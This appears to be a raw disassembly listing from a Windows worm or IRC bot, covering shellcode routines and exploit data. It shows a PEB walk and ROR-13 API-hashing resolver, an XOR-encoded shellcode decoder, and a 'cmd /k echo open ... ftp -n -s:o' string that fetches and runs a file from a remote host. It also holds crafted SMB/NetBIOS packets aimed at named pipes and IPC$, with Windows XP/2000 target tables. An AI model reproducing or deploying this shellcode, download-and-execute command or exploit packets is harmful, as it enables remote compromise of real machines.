; ---------------------------------------------------------------------------


loc_433639:				; CODE XREF: sub_43360D+25j
		mov	[ecx], edx
		mov	[edx+4], ecx
		mov	byte ptr [ebx-3], 1
		popa
		retn
sub_43360D	endp


; =============== S U B	R O U T	I N E =======================================



sub_433644	proc near		; CODE XREF: sub_433548+Ap
		mov	eax, ds:7FFDF00Ch
		mov	eax, [eax+1Ch]
		mov	ebx, [eax+8]
		mov	[esi], ebx
		mov	eax, [eax]
		mov	eax, [eax+8]
		mov	[esi+4], eax
		retn
sub_433644	endp


; =============== S U B	R O U T	I N E =======================================



sub_43365A	proc near		; CODE XREF: sub_433548+16p
					; sub_433548+2Bp ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		pusha
		mov	ebp, [esp+20h+arg_4]
		mov	eax, [ebp+3Ch]
		mov	edx, [ebp+eax+78h]
		add	edx, ebp
		mov	ecx, [edx+18h]
		mov	ebx, [edx+20h]
		add	ebx, ebp


loc_433670:				; CODE XREF: sub_43365A+33j
		jecxz	short loc_4336AA
		dec	ecx
		mov	esi, [ebx+ecx*4]
		add	esi, ebp
		xor	edi, edi
		xor	eax, eax
		cld


loc_43367D:				; CODE XREF: sub_43365A+2Dj
		lodsb
		cmp	al, ah
		jz	short loc_433689
		ror	edi, 0Dh
		add	edi, eax
		jmp	short loc_43367D
; ---------------------------------------------------------------------------


loc_433689:				; CODE XREF: sub_43365A+26j
		cmp	edi, [esp+20h+arg_0]
		jnz	short loc_433670
		mov	ebx, [edx+24h]
		add	ebx, ebp
		mov	cx, [ebx+ecx*2]
		mov	ebx, [edx+1Ch]
		add	ebx, ebp
		mov	eax, [ebx+ecx*4]
		add	eax, ebp
		mov	[esp+20h+var_4], eax
		popa
		retn	8
; ---------------------------------------------------------------------------


loc_4336AA:				; CODE XREF: sub_43365A:loc_433670j
					; sub_43365A:loc_4336AAj
		jmp	short loc_4336AA
sub_43365A	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_4336B0	proc near		; DATA XREF: seg000:0040D151o

arg_0		= dword	ptr  4

		add	esp, 0FFFFF254h
		cld
		call	sub_433702
		mov	eax, [ebp+3Ch]
		mov	edi, [ebp+eax+78h]
		add	edi, ebp
		mov	ecx, [edi+18h]
		mov	ebx, [edi+20h]
		add	ebx, ebp


loc_4336CD:				; CODE XREF: sub_4336B0+38j
		jecxz	short loc_4336FD
		dec	ecx
		mov	esi, [ebx+ecx*4]
		add	esi, ebp
		xor	eax, eax
		cdq


loc_4336D8:				; CODE XREF: sub_4336B0+32j
		lodsb
		test	al, al
		jz	short loc_4336E4
		ror	edx, 0Dh
		add	edx, eax
		jmp	short loc_4336D8
; ---------------------------------------------------------------------------


loc_4336E4:				; CODE XREF: sub_4336B0+2Bj
		cmp	edx, [esp+arg_0]
		jnz	short loc_4336CD
		mov	ebx, [edi+24h]
		add	ebx, ebp
		mov	cx, [ebx+ecx*2]
		mov	ebx, [edi+1Ch]
		add	ebx, ebp
		mov	ebx, [ebx+ecx*4]
		add	ebx, ebp


loc_4336FD:				; CODE XREF: sub_4336B0:loc_4336CDj
		mov	[esp+arg_0], ebx
		retn
sub_4336B0	endp


; =============== S U B	R O U T	I N E =======================================



sub_433702	proc near		; CODE XREF: sub_4336B0+7p

; FUNCTION CHUNK AT 0043373A SIZE 00000008 BYTES

		xor	eax, eax
		mov	eax, fs:[eax+30h]
		test	eax, eax
		js	short loc_43371B
		mov	eax, [eax+0Ch]
		mov	esi, [eax+1Ch]
		lodsd
		mov	ebp, [eax+8]
		jmp	loc_433726
; ---------------------------------------------------------------------------


loc_43371B:				; CODE XREF: sub_433702+8j
		mov	eax, [eax+34h]
		add	eax, 7Ch
		mov	ebp, [eax+3Ch]


loc_433726:				; CODE XREF: sub_433702+14j
		pop	edi
		xor	esi, esi
		pusha
		push	esi
		jmp	short loc_43373A
sub_433702	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_43372D	proc near		; CODE XREF: sub_433702:loc_43373Ap
		push	60E0CEEFh
		push	0E8AFE98h
		push	edi
		jmp	edi
sub_43372D	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_433702


loc_43373A:				; CODE XREF: sub_433702+29j
		call	sub_43372D


loc_43373F:				; DATA XREF: sub_40C930+320o
		add	[eax+0], ah
; END OF FUNCTION CHUNK	FOR sub_433702
; ---------------------------------------------------------------------------
		dw 0
dword_433744	dd 62B0606h, 2050501h, 0A0h ; DATA XREF: sub_40C930+2F5o
dword_433750	dd 30h			; DATA XREF: sub_40C930+2CAo
dword_433754	dd 0A1h			; DATA XREF: sub_40C930+29Fo
dword_433758	dd 3			; DATA XREF: sub_40C930+246o
aCccc		db 'CCCC',0             ; DATA XREF: sub_40C930+153o
		align 4


loc_433764:				; DATA XREF: sub_40C930+E8o
		jmp	short near ptr dword_43376C
; ---------------------------------------------------------------------------
		db 6 dup(90h)
dword_43376C	dd 0			; CODE XREF: seg002:loc_433764j
aCmdKEchoOpenSD	db 'cmd /k echo open %s %d > o&echo user 1 1 >> o &echo get %s >> o &'
					; DATA XREF: seg000:0040D178o
		db 'echo quit >> o &ftp -n -s:o &%s',0Dh,0Ah,0
		align 8
dword_4337D8	dd 0E983C933h, 0D9EED9AFh, 5BF42474h ; DATA XREF: sub_40D83A+2B6o
; ---------------------------------------------------------------------------


loc_4337E4:				; CODE XREF: seg002:004337EEj
		xor	dword ptr [ebx+13h], 6AD31EBBh
		sub	ebx, 0FFFFFFFCh
		loop	loc_4337E4
		inc	edi
		jz	short loc_43382B
		and	eax, 952CE753h
		inc	esp
		jle	short loc_433853
		push	es
		lahf
		cmp	bl, [eax+2Fh]
		xchg	edx, [ebp+1FC36FAFh]
		cmp	al, 0E1h
; ---------------------------------------------------------------------------
		dd 355806F4h, 89381F9Bh, 5E58578Bh, 5B3D1F30h, 0EE7F877Bh
		dd 0ABD46A7Bh, 0A8D21371h, 3EE8EA50h
; ---------------------------------------------------------------------------
		lahf
		cmps	byte ptr ss:[esi], byte	ptr es:[edi]


loc_43382B:				; CODE XREF: seg002:004337F1j
		mov	[eax], esi
		inc	ecx
		imul	dword ptr [ebx+50h]
		js	short near ptr loc_43388A+1
		lock xchg ax, bp
; ---------------------------------------------------------------------------
		dw 768Ch
		dd 46D0F5BAh, 4EBF9730h, 5B107FA7h, 2A587A7Bh, 6693958Bh
		dd 0C7CF6E30h
; ---------------------------------------------------------------------------


loc_433850:				; CODE XREF: seg002:0043387Dj
		xor	[esi-25h], bl


loc_433853:				; CODE XREF: seg002:004337F9j
		xor	al, 0D3h
		nop
		popf
		db	64h
		push	edi
		dec	esi
		sub	al, 0BCh
		mov	al, ch
		mov	ch, 39h
		fnsave	byte ptr [esi-20h]
		pop	eax
		shr	dword ptr [ecx-60h], cl
		pop	eax
		in	al, 4Ah
		sub	al, 0BAh


loc_43386C:				; CODE XREF: seg002:0043389Fj
		rcl	ebp, cl
		db	3Eh
		xchg	eax, esi
		or	byte ptr [esi+2Ch], 0BCh
		in	al, 97h
		db	36h
		or	al, 3Ah
		rep fld	tbyte ptr [eax-12h]
		jz	short loc_433850
		xchg	eax, ebp
		imul	esi, [esi+0Ah],	63h
		dec	esi
		mov	bl, 84h
		xchg	eax, ebp
		insd
		dec	ebp


loc_43388A:				; CODE XREF: seg002:00433831j
		cmp	byte ptr [ecx],	0E8h
		dec	ebp
		nop
		cmp	eax, edi
		dec	ebp
		sub	al, 0BAh
		fnsave	byte ptr [esi-2Dh]
		paddusw	mm1, qword ptr [ebp+5Ah]
		mov	ebp, [esi]
		jbe	short loc_433916
		jo	short loc_43386C
		fld	dword ptr [ebp+edx*4+3BC3746Dh]
		out	dx, al
		loope	near ptr loc_4338AD+1
		add	bl, [edi]


loc_4338AD:				; CODE XREF: seg002:004338A9j
		mov	bl, 0FDh
		sub	esp, 0FFFFFFE1h
		add	eax, 3E1EE39h
		add	bl, [esi+57h]
		push	ebp
		and	ebp, esp
		loope	near ptr loc_4338C2+2
		cmp	ch, bh
		dec	edx


loc_4338C2:				; CODE XREF: seg002:004338BDj
		xchg	dl, [ebp-72447295h]
		retn	0AAD8h
; ---------------------------------------------------------------------------
		db 3Dh
		dd 9586C844h, 0EB9786Bh, 7B076DDh, 3AB9FB32h, 0E31F37E2h
		dd 0E397745Ch, 99132F59h, 4791E011h, 0F9FF5C45h, 0C1EB6436h
		dd 18BBB510h, 95C5AD45h, 0BC2C5ACEh, 3B8149E0h,	6BB94FEAh
		dd 3B864FEAh, 0C7BBCE44h, 391D1B62h
		db 44h,	0C8h
; ---------------------------------------------------------------------------


loc_433916:				; CODE XREF: seg002:0043389Dj
		mov	ecx, 2C294495h
		mov	edx, 0E92F4930h
		jg	short loc_43399C
		sub	al, 0BCh
		jmp	near ptr 54453D0Ah
; ---------------------------------------------------------------------------
		db 0D0h, 33h, 0Ah
		dd 9505E1E8h, 6AD31E6Bh, 0
dword_433938	dd 0EFFFC481h, 44FFFFh,	433984h	; DATA XREF: sub_40D83A+29Do
dword_433944	dd 42Ah			; DATA XREF: sub_40D83A+23Dr
dword_433948	dd 3E8h			; DATA XREF: sub_40D83A+2C1r
dword_43394C	dd 258h			; DATA XREF: sub_40D83A+293r
byte_433950	db 0			; DATA XREF: sub_40D83A+1EFr
					; sub_40D83A+2CFr
		align 4
		dd offset aWindowsXpSp0Sp ; "Windows XP	(SP0+SP1)"
		dd 2C6h, 264h, 0
		dd 1
dword_433968	dd 20804h		; DATA XREF: sub_40D73Er
					; sub_40D83A+2E8o ...
aWindowsXpSp0Sp	db 'Windows XP (SP0+SP1)',0 ; DATA XREF: seg002:00433954o
		align 4
		dd 646E6957h, 2073776Fh, 2C34544Eh, 30303220h, 53282030h
		dd 532D3050h
; ---------------------------------------------------------------------------


loc_43399C:				; CODE XREF: seg002:00433920j
		push	eax
		xor	al, 29h


loc_43399F:				; DATA XREF: sub_40D83A+211o
		add	bl, ch
		add	al, [eax]
; ---------------------------------------------------------------------------
		db 0
		align 8
dword_4339A8	dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 0 ;	DATA XREF: sub_40D83A+14Bo
dword_4339BC	dd 4B324FC8h, 1D31670h,	475A7812h, 88E16EBFh, 0	; DATA XREF: sub_40D83A+DBo
aSPipeBrowser	db '\\%s\pipe\browser',0 ; DATA XREF: sub_40D83A+78o
					; sub_40E3D2+1A4o
		align 4
aSIpc		db '\\%s\ipc$',0        ; DATA XREF: sub_40D83A+2Fo
					; sub_40E3D2+150o
		align 10h
aB:					; DATA XREF: sub_40DDDF+ADo
		unicode	0, <>
		dw 4400h
aCkfdenecfdef_0	db ' CKFDENECFDEFFCFGEFFCCACACACACACA',0
aCacacacacaca_0	db ' CACACACACACACACACACACACACACACAAA',0
		align 10h
dword_433A40	dd 54000000h, 424D53FFh, 72h, 28011800h, 3 dup(0)
					; DATA XREF: sub_40DDDF+CEo
		dd 8AC0000h, 0E5000000h, 2003100h, 4D4E414Ch, 2E314E41h
		dd 4C020030h, 322E314Dh, 32303058h, 544E0200h, 4E414C20h
		dd 204E414Dh, 302E31h, 20544E02h, 30204D4Ch, 32312Eh, 2	dup(0)
dword_433AA0	dd 0AC000000h, 424D53FFh, 73h, 28011800h, 3 dup(0)
					; DATA XREF: sub_40DDDF+E8o
		dd 8AC0000h, 0E5000000h, 0FF0Ch, 2FFDF00h, 100h, 4E000000h
		dd 0
		dd 0D05C00h, 60007180h,	2B06064Ch, 5050106h, 3042A002h
		dd 300EA040h, 2B0A060Ch, 1040106h, 2023782h, 42EA20Ah
		dd 4C544E2Ch, 5053534Dh, 100h, 8020100h, 0
		db    0
		db 20h,	2 dup(0)
		db    0
		db 0Ch,	0, 0Ch
		db    0
		db 20h,	2 dup(0)
		db    0
aWorkstation1wi	db 'WORKSTATION1Windows 2000 2195',0
aWindows20005_0	db 'Windows 2000 5.0',0
		dd 2 dup(0)
dword_433B58	dd 0F2000000h, 424D53FFh, 73h, 28011800h, 3 dup(0)
					; DATA XREF: sub_40DDDF+102o
		dd 8AC0000h, 0E5000800h, 0FF0Ch, 2FFDF00h, 100h, 94000000h
		dd 0
		dd 0D05C00h, 0A100B780h, 81309181h, 8B81A28Eh, 4E888104h
		dd 534D4C54h, 3005053h,	18000000h, 40001800h, 18000000h
		dd 58001800h, 0
		dd 70000000h, 0
		dd 70000000h, 18000000h, 70001800h, 2 dup(0)
		dd 1000000h, 802h, 4030201h, 70605h, 3 dup(0)
		db    0
		db 2 dup(0), 8Fh
; ---------------------------------------------------------------------------
		jno	short loc_433C56
		mov	ecx, 484962Fh
		retf	0EE65h
; ---------------------------------------------------------------------------
		dw 0DAFBh
		db 0CEh	; Î
		db 9Eh,	0AFh, 28h
		db  8Eh	; Ž
		db 0EEh, 7Ah, 54h
		db  69h	; i
		db 85h,	28h, 57h
		db    0
		db 4Fh,	0, 52h
		db    0
		db 4Bh,	0, 53h
		db    0
		dd offset loc_410051+3
		dd offset dword_490054
		dd offset byte_4E004F
		db 31h,	0, 57h
aIndows20002195	db 'indows 2000 2195',0
aWindows20005_1	db 'Windows 2000 5.0',0
		align 10h
dword_433C50	dd 3A000000h		; DATA XREF: sub_40DDDF+119o
		db 0FFh, 53h
; ---------------------------------------------------------------------------


loc_433C56:				; CODE XREF: seg002:00433BFCj
		dec	ebp
		inc	edx
		jnz	short $+2
; ---------------------------------------------------------------------------
		dw 0
		dd 20011800h, 3	dup(0)
		dd 8AC0000h, 0E5000800h, 0FF04h, 1000000h, 0F00h, 495C5C5Ch
		dd 244350h, 3F3F3F3Fh, 3Fh
dword_433C90	dd 5C000000h, 424D53FFh, 0A2h, 20011800h, 3 dup(0)
					; DATA XREF: sub_40DDDF+130o
		dd 8AC0800h, 0E5000800h, 0FF18h, 80000h, 16h, 0
		dd 2019Fh, 3 dup(0)
		dd 7, 1, 40h, 2, 5C000900h, 574F5242h, 524553h,	2 dup(0)
dword_433CF8	dd 92000000h, 424D53FFh, 25h, 20011800h, 3 dup(0)
					; DATA XREF: sub_40DDDF+14Ao
		dd 8AC0800h, 0E5000800h, 48000010h, 0E0040000h,	0FFh, 2	dup(0)
		dd 48004A00h, 2004A00h,	2600h, 5C004F40h, 45504950h, 5005Ch
		dd 10030Bh, 480000h, 0
		dd 16D00000h, 16D0h, 10000h, 0
		dd 4FC80001h, 16704B32h, 781201D3h, 6EBF475Ah, 388E1h
		dd 5D040000h, 1CEB8A88h, 0E89F11C9h, 102B0008h,	26048h
		dd 0
dword_433D90	dd 57010000h, 424D53FFh, 2Fh, 20011800h, 3 dup(0)
					; DATA XREF: sub_40DDDF+164o
					; sub_40DDDF+1DAo
		dd 8AC0800h, 0E5000800h, 0FF0Eh, 400000h, 0FF000000h, 8FFFFFFh
		dd 11800h, 3F011800h, 0
		dd 5011800h, 10010000h,	18000000h, 1, 0
		dd 1, 6B001F00h, 14C658Ch, 0
		dd 1000000h, 0
		dd 63366800h, 1, 63000000h, 4A000001h, 9F4340FCh, 9043F5F8h
		dd 489B404Fh, 0F54F4A42h, 98469337h, 6A4F4998h,	0EED95951h
		dd 0F42474D9h, 1373815Bh, 0AD136156h, 0E2FCEB83h, 0ECA5D7F4h
		dd 579EA942h, 5E8A3C51h, 0EC9EAF45h, 7FEA3652h,	56EA7289h
		dd 161DDD91h, 988E57D5h, 4CEA4EE2h, 5A8A578Dh, 12EA6226h
		dd 8AA16743h, 67A1D201h, 1EAB97AAh, 0E78A94ACh,	3B450296h
		dd 4CEAB3D8h, 758A5789h, 982A5A26h, 0F8604AF2h,	9AEA7AAEh
		dd 727D72C1h, 77BA676Eh, 98511526h, 63EA5AEDh, 53EAFBB1h
		dd 9D0908A5h, 438D58E3h, 40078052h, 21523ECBh, 211221C5h
		dd 0C39E02F2h, 0EF8C9DC5h, 0C59E0696h, 7584DFF2h, 1169BB2Ch
		dd 0EC633CF8h, 1AB83E7Dh, 0EC36FB58h, 4032057Bh, 402205FEh
		dd 0C39E05EEh, 0FCDF3ECBh, 0F2E805CBh, 0C53E38h, 0
dword_433EF0	dd 57010000h, 424D53FFh, 2Fh, 20011800h, 3 dup(0)
					; DATA XREF: sub_40DDDF+17Eo
					; sub_40DDDF+1F4o
		dd 8AC0800h, 0E5000800h, 0FF0Eh, 18400000h, 0FF000001h
		dd 8FFFFFFh, 11800h, 3F011800h,	0
		dd 5011800h, 10000000h,	18000000h, 1, 0
		dd 1, 9001F00h,	0EC3691DDh, 42713C7Bh, 7BB1A9F8h, 0FA4FFB09h
		dd 40B7A9FAh, 7BB1A9F8h, 5AE71F48h, 43B7A9FAh, 0EC3402F9h
		dd 0F409C57Dh, 441890D4h, 0EC348052h, 770B307Dh, 7E023ECBh
		dd 430BB324h, 9AAD7FF4h, 9A253C4Ah, 0E0A1674Fh,	3E23A807h
		dd 804D1453h, 0B8592C20h, 6109FD06h, 0EC77E553h, 0C59E12D8h
		dd 423301F6h, 120B07FCh, 423407FCh, 0BE098652h,	40AF5374h
		dd 0EC0B8052h, 0C39E6152h, 909D0126h, 0C59E3269h, 7BB1A9FFh
		dd 73819842h, 0ECB7A9FEh
aR18zt89rmiyrru	db '}R18zT89rMIyrrUxOD5Ldn90tdGUQ4xcbHSBmL1VZjHnU02M96tnEaW4RWvmqwAt8'
		db 'atPAlENccp4U21A45xy0anPR7ULgqNdyZCRr0ljcyOmnK7',0
		align 10h
dword_434050	dd 57010000h, 424D53FFh, 2Fh, 20011800h, 3 dup(0)
					; DATA XREF: sub_40DDDF+198o
					; sub_40DDDF+20Eo
		dd 8AC0800h, 0E5000800h, 0FF0Eh, 30400000h, 0FF000002h
		dd 8FFFFFFh, 11800h, 3F011800h,	0
		dd 5011800h, 10000000h,	18000000h, 1, 0
		dd 1, 34001F00h, 31323231h, 416E5553h, 536C4D46h, 39646C65h
		dd 79656A43h, 71423371h, 72736837h, 5A4E4241h, 6F7A7255h
		dd 32423650h, 35727354h, 69577A65h, 71695269h, 5353656Ch
		dd 4C687364h, 4B633767h, 665A6836h, 7053536Ah, 6552385Ah
		dd 45786F58h, 615A547Ah, 716C4F55h, 32397643h, 55347731h
		dd 6752794Bh, 346B734Eh, 59737474h, 484B4C5Ah, 5A333335h
		dd 37304144h, 796F4E68h, 536E6337h, 0A644454h, 32000208h
		dd 46377936h, 4534979h,	6F000208h, 6A695059h, 584A5559h
		dd 52496165h, 49475966h, 63483643h, 6C7A3476h, 3859636Ah
		dd 44B4B50h, 49000208h,	6E5A5671h, 46C554Fh, 77000208h
		dd 634D6F6Bh, 39716F79h, 61716D4Eh, 674A696Ah, 65526C36h
		dd 49637A79h, 58526F70h, 793833h, 0AE576800h, 1000000h
		dd 0
		dd 1000000h, 0
		dd 0AD91A700h, 2 dup(0)
dword_4341B0	dd 66000000h, 424D53FFh, 25h, 20011800h, 3 dup(0)
					; DATA XREF: sub_40DDDF+1AFo
					; sub_40DDDF+225o
		dd 8AC0800h, 0E5000800h, 1C000010h, 0E0040000h,	0FFh, 2	dup(0)
		dd 1C004A00h, 2004A00h,	2600h, 5C002340h, 45504950h, 5005Ch
		dd 100200h, 1C0000h, 0
		dd 40000h, 0
		dd 1Fh,	2 dup(0)
unk_434220	db  81h	; 		; DATA XREF: sub_40DDDF+283o
		db 2 dup(0), 44h
aCkfdenecfdef_1	db ' CKFDENECFDEFFCFGEFFCCACACACACACA',0
aCacacacacaca_1	db ' CACACACACACACACACACACACACACACAAA',0
		align 10h
dword_434270	dd 54000000h, 424D53FFh, 72h, 28011800h, 3 dup(0)
					; DATA XREF: sub_40DDDF+2A4o
		dd 2D80000h, 97230000h,	2003100h, 4D4E414Ch, 2E314E41h
		dd 4C020030h, 322E314Dh, 32303058h, 544E0200h, 4E414C20h
		dd 204E414Dh, 302E31h, 20544E02h, 30204D4Ch, 32312Eh, 2	dup(0)
dword_4342D0	dd 0AC000000h, 424D53FFh, 73h, 28011800h, 3 dup(0)
					; DATA XREF: sub_40DDDF+2BEo
		dd 2D80000h, 97230000h,	0FF0Ch,	2FFDF00h, 100h,	4E000000h
		dd 0
		dd 0D05C00h, 60007180h,	2B06064Ch, 5050106h, 3042A002h
		dd 300EA040h, 2B0A060Ch, 1040106h, 2023782h, 42EA20Ah
		dd 4C544E2Ch, 5053534Dh, 100h, 8020100h, 0
		db    0
		db 20h,	2 dup(0)
		db    0
		db 0Ch,	0, 0Ch
		db    0
		db 20h,	2 dup(0)
		db    0
aWorkstation1_0	db 'WORKSTATION1Windows 2000 2195',0
aWindows20005_2	db 'Windows 2000 5.0',0
		dd 2 dup(0)
dword_434388	dd 0F2000000h, 424D53FFh, 73h, 28011800h, 3 dup(0)
					; DATA XREF: sub_40DDDF+2D8o
		dd 2D80000h, 97230800h,	0FF0Ch,	2FFDF00h, 100h,	94000000h
		dd 0
		dd 0D05C00h, 0A100B780h, 81309181h, 8B81A28Eh, 4E888104h
		dd 534D4C54h, 3005053h,	18000000h, 40001800h, 18000000h
		dd 58001800h, 0
		dd 70000000h, 0
		dd 70000000h, 18000000h, 70001800h, 2 dup(0)
		dd 1000000h, 802h, 4030201h, 70605h, 3 dup(0)
		db    0
		db 2 dup(0), 0A3h
		db  9Eh	; ž
		db 5Eh,	9Bh, 4
		db  57h	; W
		db 0E3h, 15h, 0B7h
		db  6Fh	; o
		db 44h,	0E9h, 1Eh
		db  49h	; I
		db 0FEh, 0C0h, 0BEh
		db 0E9h	; é
		db 0A6h, 0A7h, 7Fh
aPmiw		db 'pmiW',0
aO_0		db 'O',0
		dd offset word_4B0052
		db 53h
		db    0
		dd offset loc_410051+3
		dd offset dword_490054
		dd offset byte_4E004F
		db 31h,	0, 57h
aIndows200021_0	db 'indows 2000 2195',0
aWindows20005_3	db 'Windows 2000 5.0',0
		align 10h
dword_434480	dd 62000000h, 424D53FFh, 73h, 20011800h, 3 dup(0)
					; DATA XREF: sub_40DDDF+2EFo
		dd 2D80000h, 97230000h,	0FF0Dh,	2FFDF00h, 100h,	2 dup(0)
		db    0
		db 2 dup(0), 40h
		db    0
		db 2 dup(0), 25h
		db    0
		db 2 dup(0), 57h
aIndows200021_1	db 'indows 2000 2195',0
aWindows20005_4	db 'Windows 2000 5.0',0
		align 4
dword_4344E8	dd 3A000000h, 424D53FFh, 75h, 20011800h, 3 dup(0)
					; DATA XREF: sub_40DDDF+306o
		dd 2D80000h, 97230801h,	0FF04h,	1000000h, 0F00h, 495C5C5Ch
		dd 244350h, 3F3F3F3Fh, 3Fh
dword_434528	dd 5C000000h, 424D53FFh, 0A2h, 20011800h, 3 dup(0)
					; DATA XREF: sub_40DDDF+31Do
		dd 2D80800h, 97230801h,	0FF18h,	80000h,	16h, 0
		dd 2019Fh, 3 dup(0)
		dd 7, 1, 40h, 2, 5C000900h, 574F5242h, 524553h,	2 dup(0)
dword_434590	dd 92000000h, 424D53FFh, 25h, 20011800h, 3 dup(0)
					; DATA XREF: sub_40DDDF+337o
		dd 2D80800h, 97230801h,	48000010h, 0E0040000h, 0FFh, 2 dup(0)
		dd 48004A00h, 2004A00h,	2600h, 5C004F40h, 45504950h, 5005Ch
		dd 10030Bh, 480000h, 0
		dd 16D00000h, 16D0h, 10000h, 0
		dd 4FC80001h, 16704B32h, 781201D3h, 6EBF475Ah, 388E1h
		dd 5D040000h, 1CEB8A88h, 0E89F11C9h, 102B0008h,	26048h
		dd 0
dword_434628	dd 57010000h, 424D53FFh, 2Fh, 20011800h, 3 dup(0)
					; DATA XREF: sub_40DDDF+351o
					; sub_40DDDF+3E0o
		dd 2D80800h, 97230801h,	0FF0Eh,	400000h, 0FF000000h, 8FFFFFFh
		dd 11800h, 3F011800h, 0
		dd 5011800h, 10010000h,	18000000h, 1, 0
		dd 1, 0F2001F00h, 1F2207Ch, 0
		dd 1000000h, 0
		dd 15514F00h, 2, 15000000h, 49000002h, 2742983Fh, 439BD697h
		dd 0FC37984Ah, 99F54B43h, 47994642h, 0FC379948h, 4AF59B42h
		dd 37374F90h, 37F5434Ah, 96963740h, 9B499B96h, 999B9F96h
		dd 37984848h, 49934347h, 4B4AFC4Eh, 48482790h, 99474A92h
		dd 90963727h, 40482791h, 0F8414627h, 0FC91984Fh, 3F4E47F8h
		dd 0D69097F9h, 974E4A27h, 46463F42h, 4F9896FDh,	274F9848h
		dd 4A4149D6h, 37914F46h, 9BFC4890h, 9B9B9096h, 433F9741h
		dd 4A3F46D6h, 9F4EF543h, 4F984327h, 4F904F41h, 4BFDF5F9h
		dd 9740F541h, 40414647h, 4343989Fh, 0FD4A4E4Fh,	4696FC4Fh
		dd 97474243h, 92374BFCh, 373F9F96h, 4F9841D6h, 9F4AF94Ah
		dd 9F99FC41h, 37372798h, 4899474Eh, 4E274B42h, 4A409237h
		dd 9827433Fh, 494E3F91h, 4B48484Fh, 37989Bh, 0
dword_434788	dd 57010000h, 424D53FFh, 2Fh, 20011800h, 3 dup(0)
					; DATA XREF: sub_40DDDF+36Bo
					; sub_40DDDF+3FAo
		dd 2D80800h, 97230801h,	0FF0Eh,	18400000h, 0FF000001h
		dd 8FFFFFFh, 11800h, 3F011800h,	0
		dd 5011800h, 10000000h,	18000000h, 1, 0
		dd 1, 4B001F00h, 483F9F47h, 499F4941h, 4342273Fh, 9746999Bh
		dd 91279697h, 3F4E9FFDh, 37933743h, 909F4F47h, 9B374BF8h
		dd 2790994Fh, 40994E47h, 9BFC9292h, 4E9097FDh, 0F5F99047h
		dd 0FD404A9Fh, 489327D6h, 99934340h, 93FC274Ah,	49484B97h
		dd 4F4A4A99h, 43984B91h, 4E434B91h, 4242929Fh, 3F464399h
		dd 48404141h, 2740463Fh, 3F37484Ah, 27429291h, 404EF541h
		dd 27499B4Fh, 4F9F3F9Fh, 41FCF998h, 9041F840h, 374EF893h
		dd 92379143h, 4698D64Fh, 939F9843h, 9F96924Eh, 37F9974Ah
		dd 48939296h, 4E4E9F41h, 0F9D6474Ah, 40479B3Fh,	984137F8h
		dd 9BF9FD48h, 9BD69F96h, 989343FDh, 48FD4040h, 4F914F47h
		dd 99414A40h, 374E4B4Bh, 43929348h, 4B424137h, 4942FC41h
		dd 279792FCh, 484242FCh, 939B9B46h, 419B2791h, 4892484Ah
		dd 0D64E414Bh, 9BF542FCh, 4F439949h, 4392FC97h,	4191D6h
		dd 0
dword_4348E8	dd 57010000h, 424D53FFh, 2Fh, 20011800h, 3 dup(0)
					; DATA XREF: sub_40DDDF+385o
					; sub_40DDDF+414o
		dd 2D80800h, 97230801h,	0FF0Eh,	30400000h, 0FF000002h
		dd 8FFFFFFh, 11800h, 3F011800h,	0
		dd 5011800h, 10000000h,	18000000h, 1, 0
		dd 1, 0FD001F00h, 424ED627h, 9897414Ah,	4B424240h, 0F5F9FD3Fh
		dd 3793403Fh, 49434091h, 404F9093h, 96474A99h, 373F92F9h
		dd 0F5D6F997h, 439F4643h, 0F5374BD6h, 4E914AD6h, 4990FD9Bh
		dd 47FC9649h, 964E4FFDh, 4F469990h, 4B43F546h, 989F97F9h
		dd 9F9992FCh, 9B424BD6h, 96404040h, 4190909Bh, 98969297h
		dd 494F4A96h, 4E434F37h, 0F993424Ah, 92939837h,	49434A3Fh
		dd 27414E92h, 40979BF8h, 47439290h, 9040964Eh, 42404F98h
		dd 0F5419040h, 96424747h, 0FD4A9F49h, 99D6F537h, 4E474F3Fh
		dd 9F90D627h, 43D69342h, 41969243h, 4BF9964Bh, 59516AF9h
		dd 74D9EED9h, 815BF424h, 0F3091373h, 0EB838E1Eh, 88F4E2FCh
		dd 0F661E137h, 63725A0Ch, 0F0665318h, 6971E10Ch, 2DAA7278h
		dd 82B25B78h, 8F61B8Fh,	11C1951Ch, 8AE4178h, 3D055718h
		dd 38601F78h, 8D228733h, 0C8896A33h, 0CB8F1339h, 0B5EA18h
		dd 0
dword_434A48	dd 57010000h, 424D53FFh, 2Fh, 20011800h, 3 dup(0)
					; DATA XREF: sub_40DDDF+39Fo
					; sub_40DDDF+42Eo
		dd 2D80800h, 97230801h,	0FF0Eh,	48400000h, 0FF000003h
		dd 8FFFFFFh, 11800h, 3F011800h,	0
		dd 5011800h, 10000000h,	18000000h, 1, 0
		dd 1, 5D001F00h, 0ECFB36D7h, 8AA4178h, 5057818h, 15D195B8h
		dd 258DF5F2h, 2DE29778h, 384D7FEFh, 4A057A28h, 5CE95C3h
		dd 0A4926E78h, 57865E78h, 7C0909Bh, 0DF714E1Fh,	61E84D95h
		dd 7EE62CC0h, 5DD12C80h, 0C2E6CE0Ch, 59B5E21Eh,	80D1C80Ch
		dd 0E40F7816h, 63DB1CFBh, 615EE1F1h, 0A47B172Ah, 5A58E1A4h
		dd 5ADD4DA0h, 5ACD4DB0h, 61E8CE0Ch, 5AE8F14Dh, 611BFF7Ah
		dd 0CEFE0457h, 6358E1A4h, 0F6DB4FE3h, 0A42A7623h, 0F6D9F7DDh
		dd 0F6DB4D25h, 406B7623h, 0F6D95775h, 5DDA4E25h, 9A5EE1A6h
		dd 0CFF7F99Bh, 0DF71498Ah, 6F5EE1A6h, 61E87A99h, 0EC077390h
		dd 20D74E99h, 6369973Fh, 386C97B7h, 0F724ED33h,	4B7033B1h
		dd 73038DDFh, 0A225B5CBh, 0BA706C9Bh, 4DFBE1E5h, 5ED5C80Ch
		dd 58DF4FA1h, 58DF1F99h, 0D9714FA6h, 0C57B39Bh,	0DF714D3Dh
		dd 3E71E199h, 5E05CE0Ch, 6D4A9D0Fh, 0F6DCC80Ch,	617623h
		dd 0
dword_434BA8	dd 0CA000000h, 424D53FFh, 25h, 20011800h, 3 dup(0)
					; DATA XREF: sub_40DDDF+3B9o
					; sub_40DDDF+448o
		dd 2D80800h, 97230801h,	80000010h, 0E0040000h, 0FFh, 2 dup(0)
